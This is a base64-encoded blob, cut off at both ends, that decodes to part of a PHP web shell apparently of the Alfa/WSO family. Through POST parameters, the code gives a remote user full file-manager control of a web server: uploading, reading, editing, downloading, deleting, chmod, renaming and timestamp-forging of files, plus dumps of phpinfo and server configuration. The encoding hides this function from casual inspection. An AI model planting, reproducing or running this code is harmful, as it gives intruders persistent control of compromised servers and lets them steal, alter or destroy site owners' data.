KaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpDQplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5DYW4ndCB1cGxvYWQgZmlsZTxiPjwvZm9udD4iOw0KYnJlYWs7DQpjYXNlICdta2Rpcic6DQppZighQG1rZGlyKCRfUE9TVFsnYWxmYTInXSkpDQplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5DYW4ndCBjcmVhdGUgbmV3IGRpcjxiPjwvZm9udD4iOw0KYnJlYWs7DQpjYXNlICdkZWxldGUnOg0KZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7DQokcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOw0KJGRoID0gb3BlbmRpcigkcGF0aCk7DQp3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgew0KJGl0ZW0gPSAkcGF0aC4kaXRlbTsNCmlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQ0KY29udGludWU7DQokdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsNCmlmICgkdHlwZSA9PSAiZGlyIikNCmRlbGV0ZURpcigkaXRlbSk7DQplbHNlDQpAdW5saW5rKCRpdGVtKTsNCn0NCmNsb3NlZGlyKCRkaCk7DQpAcm1kaXIoJHBhdGgpOw0KfQ0KaWYoaXNfZGlyKEAkX1BPU1RbJ2FsZmEyJ10pKQ0KZGVsZXRlRGlyKEAkX1BPU1RbJ2FsZmEyJ10pOw0KZWxzZQ0KQHVubGluayhAJF9QT1NUWydhbGZhMiddKTsNCmJyZWFrOw0KZGVmYXVsdDoNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKSB7DQokX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsnYWxmYTEnXTsNCiRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkayA9PiAkZikNCiRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7DQokX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsNCn0NCmJyZWFrOw0KfQ0KfQ0KJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCmlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgeyBlY2hvICc8aDM+PHNwYW4+fCBBY2Nlc3MgRGVuaWVkIDooIHw8L3NwYW4+PC9oMz48L2Rpdj4nO2FsZmFGb290ZXIoKTsgcmV0dXJuOyB9DQpnbG9iYWwgJHNvcnQ7DQokc29ydCA9IGFycmF5KCduYW1lJywgMSk7DQppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSkgew0KaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ2FsZmExJ10sICRtYXRjaCkpDQokc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KfQ0KZWNobyAiDQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInID4NCjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+PHRyPjx0aD48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj48Yj5OYW1lPC9mb250PjwvYj48L3RoPjx0aD48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj48Yj5TaXplPGZvbnQ+PC9iPjwvdGg+PHRoPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPjxiPk1vZGlmeTwvYj48L2ZvbnQ+PC90aD48dGg+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+PGI+T3duZXIvR3JvdXA8L2ZvbnQ+PC9iPjwvdGg+PHRoPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPjxiPlBlcm1pc3Npb25zPC9mb250PjwvYj48L3RoPjx0aD48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj48Yj5BY3Rpb25zPC9iPjwvZm9udD48L3RoPjwvdHI+IjsNCiRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsNCiRuID0gY291bnQoJGRpckNvbnRlbnQpOw0KZm9yKCRpPTA7JGk8JG47JGkrKykgew0KJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7DQokZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsNCiR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLA0KJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQonbW9kaWZ5JyA9PiBAZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpLA0KJ3Blcm1zJyA9PiBhbGZhUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pLA0KJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwNCidvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLA0KJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkNCik7DQppZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQ0KJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7DQplbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkNCiRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycgPT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOw0KZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkNCiRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsNCn0NCiRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsNCmZ1bmN0aW9uIHdzb0NtcCgkYSwgJGIpIHsNCmlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQ0KcmV0dXJuIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dKSwgc3RydG9sb3dlcigkYlskR0xPQkFMU1snc29ydCddWzBdXSkpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOw0KZWxzZQ0KcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCn0NCnVzb3J0KCRmaWxlcywgIndzb0NtcCIpOw0KdXNvcnQoJGRpcnMsICJ3c29DbXAiKTsNCiRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpOw0KJGwgPSAwOw0KZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsNCmVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiB0aXRsZT0nIC4gJGZbJ2xpbmsnXSAuICc+PGI+fCAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgfDwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP2FsZmFTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQ0KLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxudWxsLFwnZGVsZXRlXCcsIFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnKSI+IFggPC9hPjwvdGQ+PC90cj4nOw0KJGwgPSAkbD8wOjE7DQp9DQplY2hvICI8dHI+PHRkIGNvbHNwYW49Nz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+DQo8L2Zvcm0+PC90YWJsZT48L2Rpdj4iOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYUZpbGVzVG9vbHMoKSB7DQppZiggaXNzZXQoJF9QT1NUWydhbGZhMSddKSApDQokX1BPU1RbJ2FsZmExJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydhbGZhMSddKTsNCmlmKEAkX1BPU1RbJ2FsZmEyJ109PSdkb3dubG9hZCcpIHsNCmlmKEBpc19maWxlKCRfUE9TVFsnYWxmYTEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsnYWxmYTEnXSkpIHsNCm9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCmhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ2FsZmExJ10pKTsNCmlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsNCiR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsnYWxmYTEnXSk7DQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eXBlKTsNCn0gZWxzZQ0KaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KJGZwID0gQGZvcGVuKCRfUE9TVFsnYWxmYTEnXSwgInIiKTsNCmlmKCRmcCkgew0Kd2hpbGUoIUBmZW9mKCRmcCkpDQplY2hvIEBmcmVhZCgkZnAsIDEwMjQpOw0KZmNsb3NlKCRmcCk7DQp9DQp9ZXhpdDsNCn0NCmlmKCBAJF9QT1NUWydhbGZhMiddID09ICdta2ZpbGUnICkgew0KaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsnYWxmYTEnXSkpIHsNCiRmcCA9IEBmb3BlbigkX1BPU1RbJ2FsZmExJ10sICd3Jyk7DQppZigkZnApIHsNCiRfUE9TVFsnYWxmYTInXSA9ICJlZGl0IjsNCmZjbG9zZSgkZnApOw0KfQ0KfQ0KfQ0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7DQppZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ2FsZmExJ10pICkgew0KZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Yj48Zm9udCBjb2xvcj1cIiNmZmZmZmZcIj5GSUxFIERPRVNUIE5PVCBFWElUUyhEZWxldGVkKTxiPjwvZm9udD4gPC9wcmU+PC9kaXY+IjsNCmFsZmFGb290ZXIoKTsNCnJldHVybjsNCn0NCiR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ2FsZmExJ10pKTsNCmlmKCEkdWlkKSB7DQokdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsnYWxmYTEnXSk7DQokZ2lkWyduYW1lJ10gPSBAZmlsZWdyb3VwKCRfUE9TVFsnYWxmYTEnXSk7DQp9IGVsc2UgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsnYWxmYTEnXSkpOw0KZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycyhAYmFzZW5hbWUoJF9QT1NUWydhbGZhMSddKSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ2FsZmExJ10pP2FsZmFTaXplKGZpbGVzaXplKCRfUE9TVFsnYWxmYTEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy5hbGZhUGVybXNDb2xvcigkX1BPU1RbJ2FsZmExJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsNCmVjaG8gJzxicj4nOw0KaWYoIGVtcHR5KCRfUE9TVFsnYWxmYTInXSkgKQ0KJF9QT1NUWydhbGZhMiddID0gJ3ZpZXcnOw0KaWYoIGlzX2ZpbGUoJF9QT1NUWydhbGZhMSddKSApDQokbSA9IGFycmF5KCdWaWV3JywgJ0hpZ2hsaWdodCcsICdEb3dubG9hZCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KZWxzZQ0KJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7DQpmb3JlYWNoKCRtIGFzICR2KQ0KZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPjxzcGFuPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsnYWxmYTInXSk/JzxiPjxzcGFuPiAnLiR2LicgPC9zcGFuPiA8L2I+JzokdikuJyA8L3NwYW4+PC9hPiAnOw0KZWNobyAnPGJyPjxicj4nOw0Kc3dpdGNoKCRfUE9TVFsnYWxmYTInXSkgew0KY2FzZSAndmlldyc6DQplY2hvICc8cHJlIGNsYXNzPW1sMT4nOw0KJGZwID0gQGZvcGVuKCRfUE9TVFsnYWxmYTEnXSwgJ3InKTsNCmlmKCRmcCkgew0Kd2hpbGUoICFAZmVvZigkZnApICkNCmVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQpAZmNsb3NlKCRmcCk7DQp9DQplY2hvICc8L3ByZT4nOw0KYnJlYWs7DQpjYXNlICdoaWdobGlnaHQnOg0KaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ2FsZmExJ10pICkgew0KZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOw0KJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydhbGZhMSddLHRydWUpOw0KZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsNCn0NCmJyZWFrOw0KY2FzZSAnY2htb2QnOg0KaWYoICFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pICkgew0KJHBlcm1zID0gMDsNCmZvcigkaT1zdHJsZW4oJF9QT1NUWydhbGZhMyddKS0xOyRpPj0wOy0tJGkpDQokcGVybXMgKz0gKGludCkkX1BPU1RbJ2FsZmEzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsnYWxmYTMnXSktJGktMSkpOw0KaWYoIUBjaG1vZCgkX1BPU1RbJ2FsZmExJ10sICRwZXJtcykpDQplY2hvICc8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+Q2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8L2I+PC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLmFsZmEzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQp9DQpjbGVhcnN0YXRjYWNoZSgpOw0KZWNobyAnPHNjcmlwdD5hbGZhM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsnYWxmYTEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCmJyZWFrOw0KY2FzZSAnZWRpdCc6DQppZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSkpIHsNCmVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7DQpicmVhazsNCn0NCmlmKCAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSApIHsNCiR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ2FsZmExJ10pOw0KJF9QT1NUWydhbGZhMyddID0gc3Vic3RyKCRfUE9TVFsnYWxmYTMnXSwxKTsNCiRmcCA9IEBmb3BlbigkX1BPU1RbJ2FsZmExJ10sInciKTsNCmlmKCRmcCkgew0KQGZ3cml0ZSgkZnAsJF9QT1NUWydhbGZhMyddKTsNCkBmY2xvc2UoJGZwKTsNCmVjaG8gJ1NhdmVkITxicj48c2NyaXB0PmFsZmEzXz0iIjs8L3NjcmlwdD4nOw0KQHRvdWNoKCRfUE9TVFsnYWxmYTEnXSwkdGltZSwkdGltZSk7DQp9DQp9DQplY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7DQokZnAgPSBAZm9wZW4oJF9QT1NUWydhbGZhMSddLCAncicpOw0KaWYoJGZwKSB7DQp3aGlsZSggIUBmZW9mKCRmcCkgKQ0KZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCkBmY2xvc2UoJGZwKTsNCn0NCmVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQpicmVhazsNCmNhc2UgJ2hleGR1bXAnOg0KJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydhbGZhMSddKTsNCiRuID0gMDsNCiRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KJGxlbiA9IHN0cmxlbigkYyk7DQpmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsNCiRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQpzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsNCmNhc2UgMDogJGhbMl0gLj0gJyAnOyBicmVhazsNCmNhc2UgOTogJGhbMl0gLj0gJyAnOyBicmVhazsNCmNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQpjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsNCn0NCiRuKys7DQppZiAoJG4gPT0gMzIpIHsNCiRuID0gMDsNCmlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9DQokaFsxXSAuPSAnPGJyPic7DQokaFsyXSAuPSAiXG4iOw0KfQ0KfQ0KZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPWJsYWNrPjx0cj48dGQgYmdjb2xvcj1ncmF5PjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsNCmJyZWFrOw0KY2FzZSAncmVuYW1lJzoNCmlmKCAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSApIHsNCmlmKCFAcmVuYW1lKCRfUE9TVFsnYWxmYTEnXSwgJF9QT1NUWydhbGZhMyddKSkNCmVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7DQplbHNlDQpkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsnYWxmYTMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCn0NCmVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYWxmYTEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQpicmVhazsNCmNhc2UgJ3RvdWNoJzoNCmlmKCAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSApIHsNCiR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsnYWxmYTMnXSk7DQppZigkdGltZSkgew0KaWYoIXRvdWNoKCRfUE9TVFsnYWxmYTEnXSwkdGltZSwkdGltZSkpDQplY2hvICdGYWlsISc7DQplbHNlDQplY2hvICdUb3VjaGVkISc7DQp9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7DQp9DQpjbGVhcnN0YXRjYWNoZSgpOw0KZWNobyAnPHNjcmlwdD5hbGZhM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsnYWxmYTEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KYnJlYWs7DQp9DQplY2hvICc8L2Rpdj4nOw0KYWxmYUZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYXBocGV2YWwoKQ0Kew0KYWxmYWhlYWQoKTsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgKCRfUE9TVFsnYWxmYTInXSA9PSAnaW5pJykpIHsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7DQpvYl9zdGFydCgpOw0KJElOST1pbmlfZ2V0X2FsbCgpOw0KcHJpbnQgJzx0YWJsZSBib3JkZXI9MD48dHI+Jw0KLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5QYXJhbTwvdGQ+Jw0KLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5HbG9iYWwgdmFsdWU8L3RkPicNCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+TG9jYWwgVmFsdWU8L3RkPicNCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+QWNjZXNzPC90ZD48L3RyPic7DQpmb3JlYWNoICgkSU5JIGFzICRwYXJhbSA9PiAkdmFsdWVzKQ0KcHJpbnQgIlxuIi4nPHRyPicNCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Yj4nLiRwYXJhbS4nPC90ZD4nDQouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydnbG9iYWxfdmFsdWUnXS4nIDwvdGQ+Jw0KLic8dGQgY2xhc3M9Imxpc3RpbmciPicuJHZhbHVlc1snbG9jYWxfdmFsdWUnXS4nIDwvdGQ+Jw0KLic8dGQgY2xhc3M9Imxpc3RpbmciPicuJHZhbHVlc1snYWNjZXNzJ10uJyA8L3RkPjwvdHI+JzsNCiR0bXAgPSBvYl9nZXRfY2xlYW4oKTsNCiR0bXAgPSBwcmVnX3JlcGxhY2UoJyEoYm9keXxhOlx3K3xib2R5LCB0ZCwgdGgsIGgxLCBoMikgey4qfSFtc2lVJywnJywkdG1wKTsNCiR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsNCmVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7DQp9DQppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ2luZm8nKSkgew0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7DQpvYl9zdGFydCgpOw0KcGhwaW5mbygpOw0KJHRtcCA9IG9iX2dldF9jbGVhbigpOw0KJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOw0KJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOw0KZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsNCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgKCRfUE9TVFsnYWxmYTInXSA9PSAnZXh0ZW4nKSkgew0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCm9iX3N0YXJ0KCk7DQokRVhUPWdldF9sb2FkZWRfZXh0ZW5zaW9ucyAoKTsNCnByaW50ICc8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+Jw0KLmltcGxvZGUoJzwvdGQ+PC90cj4nLiJcbiIuJzx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicsICRFWFQpDQouJzwvdGQ+PC90cj48L3RhYmxlPicNCi5jb3VudCgkRVhUKS4nIGV4dGVuc2lvbnMgbG9hZGVkJzsNCmVjaG8gJzwvZGl2Pjxicj4nOw0KfQ0KaWY